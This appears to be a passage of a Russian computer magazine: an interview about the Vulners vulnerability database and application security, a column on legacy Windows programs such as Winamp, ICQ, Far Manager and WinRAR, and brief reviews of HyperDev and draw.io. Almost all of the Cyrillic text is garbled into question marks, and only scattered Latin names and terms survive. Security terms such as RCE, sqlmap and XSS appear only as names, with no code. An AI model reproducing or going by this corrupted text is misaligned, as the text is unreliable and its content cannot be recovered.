????????. ??? ???? ??????? ?????????, ?а????? ?а????? ?????? ????????????? ??а?????, ?????? ??? ?? ?????? ????????? ??? ??? ???.
O VULNERS
? ??? ?ал????????╗ ???????: ?? ???????? ?????? ?????? ???а????? ?????? ??а???????????. ??????? ??????? ?????????? ????????
???? ?????? ???????? ?а???, ??? ?а???? ??????? ???????????????. ??? ??а???????????????? ??????, ?а??????????????. ????? ???-?? ????? ????????
???????? ????, ??????????, ????????, ??? ?а???? ????????, ??? ??????????
????????. ??? ?????? ??? ??? ????, ?а? ????? ???? ??? ??? ????????? ?а????.
?????? ????? ? ???? ??аPT, ?а???, ??? ??????? ??а???? ????, ???????? ????????. ? ????? ????? ??????? ?????? ??а???????, ??а?????????
??а??? ???????????? ???, ?????????? ?аPositive Technologies ???аMaxPatrol.
??а???????, ??????? ??????? ???-?? ???? ???, ?????? ???????? ???-?? ?а??????. ? ?????? ???? ?а?а???? ?????? ??? ?? ?? ?????а? ???? ?????????
???а??????? ?а???а????????????а? ?а???????? ????, ?а??????? ??????. ??? ??????? Vulners.com.
?????? ??????? ???, ?а?а??? ??? 500 ?????????? ???????? ??????
?а????, ??????? ???-?? ???? ??????????. ?? ?а??? ??????? ???????, ??????? ??????????, ???? ?????????? :). ??а???? ??? ? ??? ??? ???? ?????????
????????, ??? ????? ??аAPI.
???????, Vulners ? ??????? ??а?а????????. ?а??? ???? ?????? ??????? ??аPT. ??????, ??????? ??????? ??а???? ??аPT ?аQIWI. ??? ?а????????????.
? ???? ???? ?а??????, ????? Videns ????? ?????, ???? ????????а? ?????,
???? Plexа? ???????-?????????, ?а???? ??????а? ?????? ?а?????????. ?????? ????? ???? ??а?????????? ?а???? ?????????? Vulners ?а???????????? ??????. ??? ?????? ???? ??????? ??????? ??? ?????. ?? ?? ??? ????? ?????????
???-?? ??????? ?аQIWI, ?? ??? ??? ?? ??а??????? ?????, ????????? ?а?????????
???? ?а???? ???? ???????????? ??????????
? ??????? ??а????? ??????????. ?а??а????. ??? ????????, ??а? ??а???????, ????? ??? ?????? ?а???? ???????. ?????? ???????? ???????? ?а?????
?а??????? ???: л? ??? ???? ???????? ????????? ??а??? ????╗. ?а? ??а??? ?????? ?????? ??, ??? ???????????? ??????. ????, ? ??а???? ?????? ??, ???? ???
?????. ? ???? ?????? ??, ??? ??? ?????????. ?????????? ???? ?????? ?а??????? API ????????? ?????????? ????????. ???? ? ????? ????, ??? ?????-?? ?????????????? ?????????? ????? ?????,а? ?? ??? ??, ???????? ????????????
?????? ??????.
?а?????????????, ??????? ?а????????????
???-?? ????????, ???????? ??? ????? ??????????а? ?????????? ?????????, ??? ?????? ?????? ??????. ???? ????? ??????? ?????????
????, AppSec. ?????? ?????? ???? ??? ????. ??????а? ??? ?????????? ??????? ??????? ???? ??а?????? ?а???????? ?????, ??? ??? ?????????? ??????????. ??? ??? ???????? ???????????, ???а?? ??? ???? ???? ????????, ?а???
?????????? ??????? ??????? AppSec. ??а????? ???? ?аEnterprise ????? ?а??
?а??????.
?????????? ???? ?????. ?? ??? ?????? ?????? ?а???????? ????????.
?а??? ???? ????? Videns ?а???? Vancouver. ??? ??? ??а??? ???????, ??????? ??????? ??????? ???? ?????????, ?а????? ?????? ??????. ?а??? ??? ??а??????? ??????, ??????? ?????? ????? ???????? ????????? ?????? ?а???????, ???? ?????.
??? ???? ???? ???????? ?а????????. ??? ??? ?????? ???????, ?????а? ????? ??????????. ?а??? ???? XML API. ???? ??? ????? ????????а?
xmlns. ???-?? ???? ??????? ???? ??????? %s, ?а??? ? ?????? ????????????
format string ??????????. ????????????, ??? ????????,а? ??? ??, ??? ? ???а?????? ????? ??????? ??????? ??а????? ???? ??а?????????????? ????????.
??аRCE ??????? ??а??????????, ?????? ?????? ?????? ????. ????? ????? ??
??????? ???? ?а?? ?????? ???а??????. ? ?????? ??а?????? ?а???????, ??? ???
???а???????????? ?????? ???? ?? ???? ??а???? ?????? ?????????. ????????
??а???? sqlmapа? ?а?а????.
?????а? ??? ??? ?????. ????? ?????????, ??? ?а??? ??????? ????? ???????????. ???????, ??????? ????? ???, ?????????? ??????? ???????????.
?????? ??? ?? ????????, ??? ?????????? ??? ????? ??????????, ???-?? ?????
??????????, ????????, ???а????????? ????? ????? ?? ?????. ??? ??? ????? ????????? ?????????. HOWTO => Stack Overflow => Copy-Paste. ????????, ??????? ??? ?????????? ??????? ?????????????? ?????????? ????? ??а?????????. ? ???????? ?????? ????? ??аStack Overflow, ??? ???????? ??????? eval. ??
?????????????, ??????? ?????? ???????? ?а?????????? ?аeval?
??? ???????, ??а???? ?????????? ??????? ??а????? eval????
?????. ?????? ?????????! ???? ?? ??????? ???????????, ?а???? ??????а? ???????, ????? ????????. ?? ?????? ??а??????? ?а???, ??? ?а????? ????? ???-?? ??? ?????????, ???????? ?а???????. ?а???? ?????? ?а??? ???????
??а????????.
??????? ????????? ???????????? ?а???, ??? ?? ??????? ????? user
input ??????????? ???????. ?а????????? ??а???????. ??? ??????? ???????? ??????????? ?а??????????. 90% ??????????? ??????? ?????? ?а???????.
??????????? ?????? ??а?????, ??? ????? ??? ???, ?? ?а???. ?а???? ?а??????? ?????? ?????????????? ???????????а? ????????? ??????????, ??? user input ?????? ??????????. ??? ????? ????? ???? ??? ?????????? ?????????.
?а??????????? ???? ??а??? ??????, ??? ??а?????, ???а?????? ?????????? ???. ??? ???????? ??а??? ???????, ????? ?????????. ??????? ???????????? OWASP TOP-10 ?а?????? ????????????. ????? ????????, ???
?????????. ?? ?а??????-?? ??? ?? ????? ?а???? ??????? ???а?? ???????? ?????????????, ???а???? ??????? ?????????? ?? ?? ??????? ??а????? ??????,
???а???? ????????????????? SQL-???????а? ??? ??????????? ??????????????, ?? ??а????? ??? ?????????? ??????. ??а?????, ??? ?????? concat ?аSQL-??????? ?????? ???? ???????????? ??а????????. ??а??????, ??? ??? ??????????,
?а?????? ??????, ??? ????? ???????? ???????? ?????? ?а??? ??????????. ???
?а???? ???? ??????????? ???????????а? ?а?????? ???????????? ????????????
??????????. ??? ??? ?????, ???а????????, ??а??а?????, ???а??????????.
?а?????? ?а?а???, ??? ???????? ??????????????
???????, ???? ??????? ????-?? ??а?????, ??а????? ????????а? ???
???????. ?а???? ??? ??а????????. ???? ??????????? ???-????а? ???????????
???????? ????????, ??а??????? ? ????? ??????????. ?? ???? ?????? ?а?????????? ???????? ?????? +, ? ?а+?. ?а??а?????? ???????? ?????????????. ???
????? ??????? ????? ???а???????, ????? ??????? ??????. ??????? ??а?????
????????????? ????????, ?а???????? ????. ??? ????????? ???????? ??а????? ?????. ??а?????? ?????? ???????, ??а?а?а?????????????? ?а?????????????. ???? ?? ??????? ?а??????? ?а??????? ????????? ??? ????? ???????? ????
??? ?а????? ????????, ?? ??????, ??? ?а???? ???????: ?а??? ?? ??????? ?а??????
?????? ?а????? ????????? ?а???, ???? ?? ????????, ???? ????? ?????? ???????
????????? ??????? ??????????? ?????? ?а?????? ????? ?????? ?????? ??????.
??????? ?????????? ??? ISO, ??? 152-??, ??? PCI DSS. ????, ????? ?? ???? ??????. ????? ???а?? ?????? ?????????, ???? ?? ??а??????, ?????
?????????? ???? ????????? ?????? ??????????, ???? ?а????? ??????, ???
????? ?????. ??а??? ??а????? ????-???????? ??а????? ????. ???? ??? ?????????, ????? ?? ??????? ?????.
??????а? ??? ???????. ?????? ?? ??????а? SOP, Same Origin
Policy. ?? ???? ??? ??а????? ??????? ????? ??? XSS. ??????? ???? ??????
???????????, ??а??? ???????? ???????????? ????, ???а?????? ??????? ???????? ???? ?а????? ?????? :). E??? ?? ????? ??а?а??? ??а??????????, ??????,
?????? ?? ??????????. CSRF, XSSа? ??? ??? ??????, ??а??? ?????????.
????????? ??????а? ?????? ??????????? ????. ?????? ??????. ??????? ??????????, ??????? ??а??? ????????, ?????? ??????? ??а????? ??????? ????, ?, ??? ?а??? ??????, ?? ????? ??а?????. ???? ??????, ??а?????? ??????, ????? ????????. ???? ??????? ?????? ??????? л? ??? ???????╗ (?????:
????? ?????), ???????????, ?? ??а?????, ???а????????? ????????????? ????.
?????? ?а???? ?????? ?????????? ?????????? ?аTCP/IPа? ??? ?????? ??? ?????? ?? ???? ?а???????? ????? ?????????, ???а???????? ????. ???? ?? ?????,
??? ????? IP-?????, ?а??а???? ??? ????????? ?????????????а? not really cool.
???? ????? ?????? ????? ??? ?а???????? ??? ?????????, ????,
?а??а??????? ???????? ???-?? ???????. ????? ?????-?????? ??? ??аSpring
?аStruts? ?? ?? ?????????? ???????????, ???? ??а????????? ?????? ???
???????????? ?????. ???? ?? ??????? ?а???? ?????? ???а????????? ?а?????
??? ???? 19 ????????? ????? ???? ??аSpring, ?? ?????? ??? ?а???-?? ???????
??а?????.
??а???????????
??????? ??????? ????????????а? ???????? ??? ?а??????. ?? ???? ??????, ??а??????? ?? ???-?? ???????, ?а??????, ??а??????? ?? ?????? ??а???????. ??а????? ?????????? ?? ?????-??????????, ??а??????а? ??????? ????,
?а????? ???????. ???? ????? ??а??????, ???? ??? ?????? ?? ?????????.
???? ??????? ?????? ?? ??????, ??????? ?? ??????? ???. ?????,
????? ???? ??????, ???? ??а?????. ???????? ??? ???а?? ????????а? Tor, ?????????, ?а????? ?????? ??а???? ???? ?????????, ???????? ?? ???????? :).
???? ?? ??????? ??? л?????? ??а??????╗, ??? ?????????? ?????
????? ?????? ????????. ?????? ??? ?????. ??а???? ?????? ?а???? ????????? ??????????: ??а???? ?????? ?? ?????? ?а???? PayPal, QIWI-???????.
?а??? ?????? ??????, ??а??????? ?? ??????????? ?????? ??????. ?? ???????? ?? ???????, ?? ???????? ????. ?а??а?????? ?????? ?????? ?????? ??а??????????? ????? ???.
???? ????? ?????? ?????????? ??????. ?????????а? ??? ????. ????????? ??????, ?????? ???. ????????? ??????, ??а???? ??? ?????? ????????
????????, ??? ??????. ??????????, ??? ?????? ?????? ?а?????, ??? ???? ???????.
?????? ???? ?? VPN. ?? ?????????, ??????? ???-??. VPN ??????? ??а??????????а? ?а????? ???????. ????? ???? ?????, ?а?????????? ???? ???????? IP.
????????? ????? ??????, ??? ?????? ???????. ????-???????????? ?????а?
?аfinita la comedia.
?????? ??-??? л????╗а? ?????? ?????? ?????, ??? ??????? ????? intercommunications. ??а???? Little Snitch ???? ??а??????. ????? ??а?????,
??? ??? ?а???????? ??????????,а? ????? OS X ?????? ??а????? ?????? ??????
?а????? ???? ????? VPN ?а??????????
???? ???? ???? ???????????, ???? ?????? ???? ???????? ?????.
????? ?а??????, ??? ????????? ??????? ?????, ??????? ?????? ?а???????
????. ????? ?а????????? ??????? ????? ?а??? ??????? ??, ??? ???? ????.
?а????? ??????а? ??????????? ??? ?а????????? ?????. ??? ??? ????????.
??????? ?а?????????????? ????????????? ??????а? ??? ????
????????. ?????? ???. ???????? ???????-??????? ?????? ??а???, ???, ???
?а???а?????????. ????????, ???? ???? ???????, ????? ????????, ????? Burp
Collaborator ??а?????????? ?? ???????, ??????? ??а???? ????????. ???? ???,
????? ?????? ?????! ???? ??? ???? ????? ?? ???????? ?????? ???аBurp Suite
?а????????? ?????????. ????? ??? ????????: л??? ?????, ??????! ???? ?? ???
?????, ?? ?? ??????, ?????? ???!╗ ???????, ???-?? ???????????? ??а????.
????? ??, ?а??????? ???????????? ????????? ????, ??????? ??
???? ?? ??а???????,а? ??? ??а??????????? ??????????. ???? ?а??????????? ???????????? ?????? ????, ??????? ????? ??а?????????, ??? ????????
??а??????? ????????????
PCZONE
????? ????????????
dhsilabs@gmail.com
???а????
?а??????????
????????? ??????? ?????? ?????????
?а??????????? ????????
??? ?? ??а????? Winamp, The Bat, ICQ, Far Manager,
WinRAR? ?????-?? ??? ????????? ???? ???????????
??а?????? ??????????. ???? ?? ??? ??????? ??????????? ??? ????? ?? ????????? ????????? ?????? ????????
?аWindows 10? ????? ????????!
WINAMP
?????? ?????????? ?????, ?а???????? ???, ???? ??а?????, ????? ??а??????????. ??а??????? ???????? ????? ?????, ????? ?? ????????? ??????. ???? ????
????????? ???????, ?????? ????????? ?а?а?????? ?????? ?????. ???????
?????????? 31 ??????? 2014 ???? ?а???????? ?а???, ??? Winamp ??????. ???
?????? ?а???? ???????а? ??а????? ??????, ??а????????. ????????? ?????
?а?????? ????? 5.666 ???????? 12 ??????? 2013 ????. ??а???? ???.
???? ru.Winamp.com
???? ?????????? Winamp ?а??????????, ?? ??? ??? ?? ???????????, ??а??????. ?а2009 ???? ?ал???????╗ ???? 70 ????????? ?????????????. ?????? ???????? ?а??? ?????! ?а???????, ??а????????? ??????, ?? ??????? ?????????
?????? ????? ?а64 ????????. ????? ????????????? Winamp ??????, ??? ????? ??????.
?????? 20 ?????? 2013 ???? ???????? AOL, ????????? Winamp, ????????
?а???????? ???????. ???????? ??а?? ??? ????????? ??????????? (? ???????,
?????? ????? ?????? ???аOS X ?аAndroid) ?а?а??? ?????????? ???????? ????????????? ??а????? ????, ?аAOL ????????? ?????????? ???????? ????? ????????????????. ?????????????? ?????????? Winamp ???? ????????, ????????
????????, ??? ????? ????????????? ?а???а??????????? ????????????? ?????. ???????????, ???????? ????? ?????????? ??????? ??а?????? ????????????а?а?а??? ????? ?????? ???? ????????????? ???.
?а???? ??????? ???? ?а???????????, ??????? ????? ???????? ???????????
Winamp. ????? ??? ?????? ????? ?????????? ?а???????? ??????????? ???????? Radionomy Group, ???????????? ????????-?????????????, ???????????, ??? ???????? Winamp ?аAOL. ?????? ??????? ??а????? ru.Winamp.com ?а????????? ????????? ?а???, ??? Winamp ??????, ??? ?????? ????? ?????? ?а????
??????? ??? ?а??а????.
??????? Winamp ???????? ??????? 21 ?????? 1997 ????. ????????? ?????? ????? ?а??????? 2013-??. ?????????????, ?????? ?????? ???????????
???. ???????, ??а??? ?????? ??а??????. ?а????? ?????? ????? ?а????? ??????? ????????.
?????? ?? ??? ??????????? ???????? ?аWindows 10? ?????? ?????????
?????? 5.666 ?а???????? ?? ?????????. ???????? ??????????? ???!
Winamp ?аWindows 10
??????, ?????????? ?????????? л??????╗ ?? ?????? ??а?????, ???????? ???????? ??? ???????. ?а????? ???????? ?????????? ????????? ?????? Winamp
??а????????. ????????, ??? ??????????? ??????? Bento ???????? ??????
????????.
???????? ???? Blue Steel
?????? ???????? ??????: ?????????? ????????????? ?????? ?????????? ????????. ?????? ?????? ??????? ??????? ?а???????а? ??? ???????, ?? ?а?????
???????????? ????? ??????? ?????. Winamp ?а??? ????? ????? ???????? ?????? ????? ?а???????? ?????????, ??????? ??а????? ?????????? ?а??????????? ?????????. ?а??? ?????????? ?????? ????????? ???????????? ?????????? ?а?а?????????? ?????????????? ????? ??????? ???? ??а???????????.
??????, ????????? ???????????? ?????? ????? ??????????? ???????
???а??????????????? ?????? ??а?????????. ?а???????, AIMP ????? ?????????????? ?????? ??ал?????????╗. ?? ?а???????, ?????????? iTunes ??а??????????
Apple Music ?а????????????? ?????????? ????? ???аGoogle Play Music.
THE BAT
The Batа? ?????????? ???????? ??????, ????????????? ?????????? ????????? RitLabs. ???? ??аWinamp ? ?а???? ????? ?????????, ?? ??а????????? ???????
The Batа? ???, ?а????????? ??? ????????????. ?????? The Bat? ?? ??????, ???
?а??? ????? ?????? ???????????? ?????? ?а??????????? ????????? ???????.
?????, ???????????? The Bat, ???????? ??, ??????? ?????? ?????? ?аOutlook,
???? ??????.
??, ?аThe Bat ??? ????????? ??????, ??????? ?? ??????????? ???а??????
?а????????????? ?????, ??а?????? ????????????? ??? ????????? ??а??????.
???? ?????????? The Bat ?а??????????, ?? ? ?? ?????? ?а??а? ??? ????????,
???????????? ??????? ????, ??????? ??? ?????? ??а?????????? ?????. ???
?????? ???????? The Bat ?????????? ? ?? ??а????.
The Bat 7
?????? ??-???????? ??? ?а???????????. ?????? ??????, ???????? ?????? ????,
??????? ???? ?а????? 1997 ????, ?????????а? 18 ??????? 2016 ????. ??а?????? ?????? ??????? ???????????? ???а? ?? ??????? Winamp ??а??? ???? ?,
?????, ???????? ??? ?????: ???? ?????????? ??????????? ????? ?а???? ?????????? Windows, ?а???? ???? ??? ?????.
?а??????? ?????? ????????? ????????? Microsoft Exchange Server 2007
?а????? ??????? ??????. ??? ??????? ? ??а????????: ???????? EWS ???а????,
???а?а???а????? ???????? ?????????????, ??????????. ????? ??????? ???? ????????? ??????????? ????????????? ???????? ????, ??? ?????????? ?????????????, ??????? ???????? ?а?????????? ??а?????? ???????????. ??????????
CardDAV ????????? ???????????????? ???????? ????? The Bat ?а??????????
Google ?аiCloud.
??????, ??а????????? ???? ????? ??????? The Bat ???????? ???????.а?????????? ??????, ???? ?, ???? ?а???????????? ????????????, ??а???????
??а?????? ??? ?????????? ?а???????????, ??а???? ?????????. ?а???????, ?а????????? ??????? ????????? ?????????????? ?????????????? ????? Dekart BIO
API, ?????????? ???????? ???? ?а?????????? ?????????????? ???????????
???????. ??? ??? ????????????, ??? ?????? ??а???????? ??а?????, ?а????? ??????????? ??????.
ICQ
??? ??? ?????? ????? ?????? ???? ???????????, ??? ?а???????????? ????????
????? ??а???? л?????╗. ?????? ?? ??? ???????? ????????? ??а????? ??????????? ???????????. Skype, WhatsApp, Viber, Facebook Messenger, Telegram...
?аICQ, ???? ???????, ??а???? ???? ?????????? ????????? ????????, ?а??????
?????- ?а????????????? ?????? ??а???????, ??а?????? ??? ??? ?????? ?????
????????.
????? ?????????, ???а???????? ICQ ???????, ? ???????? ??? ????? ???????,
??а??? ??? ????????????? ?а???? QIP. ?????? ?????? ???? ???? ?а???, ???
???????????? ICQ ???? ???????? ??????????, ?а?????????? ??????? ????????? ??а???????. ??????????? ?????? ????????????: ?а????-?? ?????? Miranda,
?а????-?? Trillian, ??ал????╗ ??? Adium, ?а?аLinux (??????? ?а?аWindows) ?аPidgin.
QIP (Quiet Internet Pager)а? ??????? ?а??????? ??????, ?а??????? ??? ???????.
??????, QIP ???? ?????? ??????. ????? ??? ?????? ????? ????????? ????? ??????? ??? ??????а? QIP 2005. ????? ???????????? QIP Infium ?а????????????? ??а??? QIP 2010 ?аQIP 2012 ??? ??а???????? ??а????. ???? ????
QIP 2005 ??????????? ?????? ???????? ICQ, ?? ??? ????? ??????????? ???????? ???????????? Jabber, ????????? ???????? ??????????? ?а????? ???????
??ал???????╗, Mail.Ru, Google, ?а????? ???????????? ???????? л?????????╗.
??? ?? QIP? ????????? ?????? ???? ???????? 24 ?????? 2014 ????а?
??а??? ?? ?а?????. ?????? ??? ???? qip.ru ??????????? ?а?????-?? ??????? ?????????? ??????а? ?а??????????? ?????????? ?????? ?????? л???????╗.
???????, ???????? ?аICQ. ?? ???? ???????? ????????? 15 ?????? 1996
????, ?? ???? ??а?????? ?????? ?? ????? ???????? ???. ?а??? ??? ?????? ??????????. ?????? ICQ ??????????? Mail.Ru Group, ?? ???? ????? ???????, ???
л?????╗, ??????? LiveJournal, ????? ????????????? ????????.
?аMail.Ru ????????? ????????? ?????? ???а????????? ?????????? ???????: ????????? ???????, ????????? ?????????, ??а??????? ?а??? ??, ??? ??????
????? ICQ ????? ??????? ?а?????????? ????? ??????? ??а4 ?????. ??????, QIP
2012 ????? ????????? ???? ???????????, ??? ???, ???? ?? ?????? ??а?????? ???????, ??а?а?????? ???????????, ???? ????? ?????? ICQ, ????????? ?аMail.Ru.
????? ???? ?????????? ??а?????? ICQ ???????? ??????? ?а?ал????????╗.
?? ????????? Rambler-ICQ, ???????? ?????????? ?????, ??????????? ????????? ???????, ?????????? ?а???? ?????????? ????. ??????, Rambler ?????? ???? л?????╗ ??а?????? ???. ?а2005 ???? ??? ???????? ????? ???????????
????????????????? ICQ ?а??????.
?????? ICQ, ???а?? ??? ?????????, ??????? ?а??а??? ????. ?? ???? ?? ?????? ??????? ????? ??а???????? ?а???????? ?а??????? ??????????????. ????
??????? QIP 2005 (?? ?????? ??? ??а???????????? ?????????) ???????????
?а????????? ???????? ?аWindows 10. ??? ?????? ???? ?? ?а???? ??????
QIP 2005 ?аWindows 10
????????? ICQ ??????????? ?а?????? ????. ??а????? ??? ??????? ?????????
?а???? ?????? ?????? ???????? ??????????. ??а??? ????? ????? ??????????,
??а???? ??? ??????? ?а??????: ?????? ????? ???? ???????-???? ?а??????? ????
??? ???????.
??а????????? ??а???????? 2013 ???? ????? ??????????? ????????? ICQ
?а?????? ?????????? 7,9 ???????? (? ????а? 12,3 ????????), ?а?а????? 2014
????а? 6,7 ???????? ?а?????? ?а11 ????????? ?а????. ????? ????? ??????,
?????? ?????, ??? ?????????а? ??????, ??????? ?аMail.Ru ?? ?а??а??????????. ?а?????????? ???? ?? Winamp ??а????????, ??????? ICQ ??????? ????? ???
??а?????? ??????????а? ????????? ??а??????? ?????? ?а??? ?????.
?????????? ????????????? ICQ
C????????? ???? ?а??????????? ????? ICQ, ?????? ?аMail.Ru ??а?????? ??????? ????????? ?а???????????? ????????? ??????????. ??????, ??????,
?а???????? ??? ???????????, ?а????????? ???????????? ??????????? ???????
????? ??????? ?аGitHub.
FAR MANAGER ?а?????? ????????????? ?????????
Norton Commander ?????? ??? ????? ??? ?а????????????? ??????????? ??????а? ???, ??? ??????? ?????????? ?а??????????? ?аDOS ??? ??? ??????.
???????????? ??????? DOS ???? ??а?????-?? ??????, ??????? ?????? ??????
?а????? ???????? ?????? ??????? ?????-?? ???? ??????????? ???????? ??а?????? ?????? IBM-??????????? ??????????.
?а?????? ?а?????????????? ?аNorton Commander ?????????: Volkov
Commander, DOS Navigator, Midnight Commander, Far Manager, Windows
Commander, Total Commander,а? ??? ??? ??а????????.
????? ?????????? ???????? ?аDOS ??аWindows ?????? ?????????? ???????????? ?????????????? ???????????, ?а?????? ???? ??????????? Far Manager
?аTotal Commander. ? ??? ?????? ???????, ????? ?????, ??? Far ??а??? ??? ???.
????????? л??????╗ ?????? ???? ???????? ????? ?а???? ????????? ???? ??????а? 19 ??? 2016 ????, ?а????????? ?????????? ??????а? 10 ???????.
???????? ???!
?????? ?????? Far Manager ????????? 10 ???????? 1996 ????, ?? ???? ?????? Far ????? ???????? ???. ???а???? ????????? ?????? ??????? ????????
?аWindows 10, ???????????? Unicode, ????? ??????????? ????? UAC, ?????
??? ??????????, ?, ???????, ??а?????????? ??????? ??а?а???????? ???????
??????, ??а?а??????? ???????? ??????. ?а?????, Farа? ??????????? ???????? ???????? ?а????? ????????, ??? ?????? ???????? ?? ????????. ???????,
???а??? ????????? ?????????? ?????? ??????????
Far Manager
????? ? ??????????? Total Commanderа? ?? ????????? ??????? ???????????. ???? ?????? ???? ???, ????????? ?????? ????? 17 ???????? 2015 ????,
?а?????? ???аWindows Phoneа? ?а??????? 2016-??. ???????? ??а?????????
??а????????? ?аFar ???, ??? ????? ???????? ??? (!) ????: ?????? ?????? ????????? 25 ???????? 1993-??.
Total Commander: ??? ??? ????????? ?????????
??? ???? ?????????? ?????-?? ????????????? ???????? DOS Navigator ????? ??????????? ?а??????????а? ????????? ?????? ????? ?а????? 1999 ????.
??? ??а??????????? ???? ?аWindows 7, ??а?????? ??? ??? Windows 10. ??????,
??а??? ????? ???????? ?а????????? ????????? Necromancer, ????????????
????????? ?а1999 ???? ???????????, ??????? ?аDOS Navigator ?????????
??????? ???? ??????, ?????????????? ?а?????? ?????? ???????? ?а??????????? ???? ?????.
DOS Navigator
WINRAR
??? ???? ???????????? ???????? ?????? Far Manager ??????? ??????а? ???
WinRAR. ???а?аFar, ?? ??? ???а?????? ????????: ????????? ?????????? ?????
????? ?а??????? 2016 ????, ?а????-?????? 5.40а? ?а??? 2016-??.
WinRAR
?????? ?????? ????? ?????????? ????????? 22 ?????? 1995 ????, ?????????????, ??? ??? ???????? ???? ???. ???а???????????? ????????, ???????????????
?а???? ?? ?????-???????????? ?????????????, ??? ????? ??????? ????.
?????????? ?а??????????? ??? ????? (??????? ???? ????????), ??а???? ??
??? ???????? ?????????????? ????????????? RAR. ?а??? ???? ?? ?а??????????? ???? ????? ???????? ????? ???? ????? ???????, ??? ZIP, ??а????? ???????????????? ???????а? ??? ??? ?????? ?????? ??????.
ARJ
?????? ???????????, ?а??????? ? ????????????, ??? ??аZIP ?а??аRAR. ??? ???
ARJ. ?????? ?????? ARJ ????????? ?а??????? 1991 ????. ???а?а???? ???? ???????
????????? ARJ
ARJ ??? ???????????? ?аARJ32 ?а?????????? ???????????? Windows 8, 7, Vista
?а????? ??????? ??????. ?а????????? Windows 10 ??а????? ?????? ??а???????,
??а?а??? ????????? ???? ??????? ????????. ???? ??, ??????, ???-?? ????? ??
???????????? ???а????-??, ????? ???????????????? ?????? ??????. ??а???????????? ??????????, ??а??????????? ????????????? ARJ ?аWindows ??а?????????. ??? ??а????? ????????? ?а???????? ??????? ??а????, ?а?????????
?????? ???????? ?а???? 2014 ????. ??????? ARJ ??а??????????? ????а?
???????? ???? ???.
????????? ????????? AIDSTEST
???????? ???? ???а???, ??? ??????? ????? ????????????? ????: ????????????
?????? ???????????? ?а??а????????? ?а???????????? ??а????????, ?а????? ???????? ?????????, ???? ???????????? ?????? ??????????. ????? ??а??? ???
????????????? Aidstest,а??? ?????? ?????? ????????? 17 ?????? 1988 ????,
?а?????? ?? ??????? ?????????? ?????????. ?????? ??? ????????? ???????????????? ????????? ?????????? Dr.Web ?а?а??? ???? ???????????? ?????? ????????? Aidstest.
?????? ????? ?????, ??а??а????????? ??? ???? ??????. ????????? ??????
????????? ????? 27 ???????? 1997 ????. ? ??а???? ?????????, ???????? ??
??? ??а???????? ??????????, ???? ????????, ??? ?????? ??? ???? ???????????? ???а????? ????? ?????????. ?????????????????? ?????????? ??????
лAidstestа? ???? ?????? ?????????? ??????????╗.
NORTON DISK DOCTOR ?аNORTON UTILITIES
???? ?? ?????-?????? ??????????? Norton Utilities, ??????, ??????? ?а???????
Norton Disk Doctor. ?????? ?????? NDD ???? ??????? ???аDOS 1.x ?а???????
1982 ????, ????? ?????? ???????? ???? ?????? ??? ???? ??а????????. NDD,
???, ????. ????????? ?????? Norton Utilities ???? ???????? ?а??????? 2012
????. ????????? ??? ????? ????????? ??????, ??? ?????? ???????? ?????????
?? ?аWindows 10 ?а??? ?????????? ????? ??а????? ????????.
NDD 4.0, 1987 ???
???????? Symantec ????????? Peter Norton Computing ?а1990 ???? ?а????????? ??????? ??? ???????? ??? ????, ?? ???? ??????? ???????а? ????????
???. ?????? Symantec ????????????? ??а???????? ????????????? ?????????
???а??????????? ???????????? ?а??????? ?????? Norton Utilities.
??????????
??а??? л?????????╗ ????? ???????? ?а????? ????????? ??????? Windows,
??а?????? ??а??? ???? ?а??????? ?а????????? ????? ??а??????????. ????
???? ARJ ?аDOS Navigator ??а??? ??? ???-?? ???????? ?????????, ??????, ?????
?????????, ???аFar Manager, ??а???????? ??а??? ???, ???? ?а?? ?????????????
????? ?????????? ???? ?????-?? ?????. ?а??, ??? ??? ?????? (Winamp ??? ICQ),
???????? ????????? ???? ?а??????? ???????????. ???? ???-?? ?????-?? ??????? л?????????????????? ????? ?????╗, ?? ????? ????? ????? ???????? ????? ????.
PC ZONE
?????? ??????????
apismenny@gmail.com
HYPERDEV ?а?????????? ????? ?????????? ??аNODE.JS
hyperdev.com
1
? ?????????, ??? ???? ????? ?????? ?????????? ?????????,
??а???а???? ???????????? ????. ??????, ????????? ?????-?? ????
??? ??а?????? ???? ??????? ??????????, ????????? ????? ????????.
???? ?? ??а?????????? ???????? ????? ?????????, ?? ??? ????????? ????????? ??????: ????? ???????, ?а????? ???????, ??????????
?а????????? ???? ?????. ?????? HyperDev ??????? ??????? ??? ??????????????? ?????????? ????????: ?? ???????? ??аhyperdev.com,
?а??? ???а? ???? ???? ????????, ?????? ???????? ??????.
??аHyperDev ????? ??????? Fog Creek Software ?а?? ????????????
????? ????????, ????????? ???а???????????? Stack Overflow ?аTrello,
?а????? ????? ??????????? ????? ?а????????????????. ?????? ???
31 ???? 2016 ???? ??? ??????? ??????????? ?????? HyperDev.
???????? ?а????????? ????????????, ??? ???????????? HyperDev
??а????? ??????????? ???????? ??????, ?????????? ?а?????????
?а???-???? ?????????????. ?? ??? ???, ???? ???????????????? ??а???????????! ???????, ????? ????????? ??????, ????? ????? ???????????? ????? GitHub. ???? ????? HyperDev ??????????? ???а????
?????????????. ?? ????? ???????? ??а???? ????????? ???? ?а???????
??????? .hyperdev.space.
??а????????? ?????? HyperDev ???? ??? ???????????? ??????
JavaScript, ???? ?аNode.js ????? ????????????? ????? ??????. ???????? ?????????????? ?? ?????????? IDE ?а??? ??????, ??а???-???
?????, ?а??????? ????????? ????????? ??а????. ??????????? ????
???? ????? ??????а? ???? ??????? ??? ?а???????? ????, ?? ?? ?????
??????????? ????? ??а???? ????????? ????.
?????????????? ???? ???????????? ?????? ?а????? Google Docs.
???????????? HyperDev ????????, ??? ???а??а??????? ?????????
???????? ??? ????? ??????? ?а???????????? ??????? ???????? ??????. ??, ??? ????? ??а???????? ??-?? ?????????, ??????? ?????? ???
???? ???????, ?? ?а???? ???? ????? ?????? ????????????? ???? ????!
HyperDev ???? ??? ?????????? ?????????, ?а?????? ???? ????????? ????? ?????????? ??а????????. ?а?????????, ???????? ??????
64 ????? ??????????? ?????? ?а???????? ??а???????? ?????, ????
?а??? ????? ??а??????????. ??а????? ??????? ???????????а?а???
?????????? ??????????? ????????? ???????? ???????????. ?? ????
???? ??? ????? ???????? ?????? ?????????????, ?а??? ?????? ???
???????? ?а???????. ??????????, ??? ??аHyperDev ???? ?????? ?????? ?????? ??????????, ???? ????? ???????????? ?а????? ???????.
??? ?, ??????? ???а???????????????!
DRAW.IOа? ?????? ?????????, ????-????? ?а??????
Draw.io
2
? ??? ???????, ???? ???? ?????? ????? ?????????? ?????-??????
?????? ?аWindows ???? Visio, ?аLinuxа? ??? ??????? ?????? Dia,
